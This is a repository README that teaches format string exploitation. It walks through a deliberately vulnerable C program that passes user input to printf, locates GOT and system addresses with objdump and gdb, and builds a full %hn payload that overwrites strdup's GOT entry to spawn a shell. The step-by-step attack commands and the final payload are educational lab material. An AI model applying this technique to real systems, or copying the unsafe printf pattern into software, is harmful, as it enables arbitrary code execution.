Switch branches/tags
Nothing to show
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
README.md
formatStringVulnerabilities.c
test.c

README.md

Overview

This code demonstrates format string exploits. These vulnerabilities occur when a function that takes string formats as inputs like printf() is exposed to user input. Mentally, I think of this as the C equivalent of SQL injection.

This guide is based off of this website More in depth explanation is provided there

printf() can take any number of inputs, the only way it knows how many to expect is by looking at the format string it is passed. printf(%p %d %i) expects three arguments. If three arguments are not given, it will grab the next three address off of the stack and use those as arguements.

Using the %n formatter we can write values to memory addresses. This formatter does the following:

The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.

Process

Using this information we are going to try to open a system shell by exploiting this code:

#include <stdio.h>
#include <string.h>
// compile with gcc -m32 temp.c

int main(int argc, char** argv) {
  printf(argv[1]);
  strdup(argv[1]);
}

To do this we must:

  • Find the memory address for strdup()
  • Find the memory address for system (The shell)
  • Overwrite the Global Offset Table entry for strdup() with the memory address for system

Find the memory address for strdup()

  • Compile the program gcc test.c -m32
  • view the compiled object objdump -d a.out
  • You should see in the output a section with <strdup@plt> with a jmp command. the memory address to the right is the memory address of this function.
  • Write this down. On my computer it is 0x804a010

Find the memory address for system

  • We must first disable libc randomization so that system is always at a deterministic location in memory.
  • Run the command ulimit -s unlimited to disable libc randomization
  • We can find the location using the debugging tool gdb. Below is the sample terminal output from doing so:
gdb -q a.out
Reading symbols from /home/osboxes/a.out...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048450
(gdb) r
Starting program: /home/osboxes/a.out 

Breakpoint 1, 0x08048450 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x555d1e70 <system>

We now know that the location of system is 0x555d1e70. This means we need to write 0x555d1e70 to 0x804a010 which is the location of strdup in the Global Offset Table

Overwrite the Global Offset Table entry for strdup() with the memory address for system

printf() can take any number of inputs, the only way it knows how many to expect is by looking at the format string it is passed. printf(%p %d %i) expects three arguments. If three arguments are not given, it will grab the next three addresses off of the stack and use those as arguements.

Using the %n formatter we can write values to memory addresses. This formatter does the following:

The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.

If we succeed in overwriting strdup with system our program will call system with argv[1] so the string that we pass into printf must also be a valid system arguement. Our payload will begin with sh# so that everything after it will be commented out and we will open a shell process.

Using the format of our payload string as <address><address+2>%<number1>x%<offset>$hn%<number2>x%<offset+1>$hn We can write the value of number1 to address and the value of number2 to address+2. The goal of the offset value is to determine what position in the stack the arguements number1 and number2 are located at. This takes adventage of the x$ formatter which will select the xth arguement to printf.

Finding offset value

The offset values are very sensitive to the lenght of the string changing so we will use a string that is the same length as the final string we wish to use. "$(python -c 'import sys; sys.stdout.write("sh;#AAAABBBB%00000x%17$hp%00000x%18$hp")')" sending this string into our program this will display sh;#AAAABBBB<garbage>arg17<garbage>arg18. We need to change 17 and 18 until the values 0x41414141 and 0x42424242 are displayed. This will mean that we know what argument the 5th through 8th byte and 9th through 12th byte of the string are, and can select them to be written to in the future.

On my machine the proper offsets are 99 and 100.

Final Command

Running the command //env -i ./a.out "$(python -c 'import sys;sys.stdout.write("sh;#\x10\xa0\x04\x08\x12\xa0\x04\x08%07780x%99$hn%14061x%100$hn")')" will successfully open up a new shell from this process.